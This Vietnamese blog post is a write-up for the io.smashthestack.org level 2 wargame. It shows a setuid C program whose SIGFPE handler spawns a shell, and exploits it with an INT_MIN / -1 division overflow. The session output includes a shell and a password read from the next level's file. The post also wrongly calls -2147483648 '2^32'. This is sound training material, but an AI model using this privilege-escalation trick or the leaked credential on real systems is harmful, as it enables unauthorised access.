Featured Content Slider

Home » » io.smashthestack.org level2

io.smashthestack.org level2

Vo Uu | 20:57 | 0 nhận xét
level2@io:/levels$ cat level02.c
//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
        printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
        puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}

level2@io:/levels$


Chungs ta để ý hàm signal(SIGFPE, catcher); 
Vào trang man (manual page của linux) xem sao
aha, có thông tin rồi,

       According to POSIX, the behavior of a process  is  undefined  after  it
       ignores  a  SIGFPE, SIGILL, or SIGSEGV signal that was not generated by
       kill(2) or raise(3).  Integer division by zero  has  undefined  result.
       On some architectures it will generate a SIGFPE signal.  (Also dividing
       the most negative integer by -1 may generate  SIGFPE.)   Ignoring  this
       signal might lead to an endless loop.

 Số nguyên trong Ansi C được biểu diễn 32 bit, nếu chúng ta cho 1 số âm bằng hoặc lớn hơn 2^32 (-2147483648) và đối số là -1 thì sẽ gây ra overflow

Chúng ta thử testcase:

level2@io:/levels$ ./level02 -2147483648 -1
source code is available in level02.c

WIN!
sh-4.2$ exit
exit
level2@io:/levels$ ./level02 -2147483647 -1
source code is available in level02.c

level2@io:/levels$ ./level02 -2147483649 -1
source code is available in level02.c

WIN!
sh-4.2$ exit
exit
level2@io:/levels$ ./level02 -2147483649999 -1
source code is available in level02.c

WIN!
sh-4.2$

sh-4.2$ cat  /home/level3/.pass
G2K2EP1luDpdNQ
sh-4.2$


Ok, level is passed

Share this article :

0 nhận xét:

Đăng nhận xét

Recent Post

Test Footer 1

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. The UG - All Rights Reserved
Template Modify by Creating Website
Proudly powered by Blogger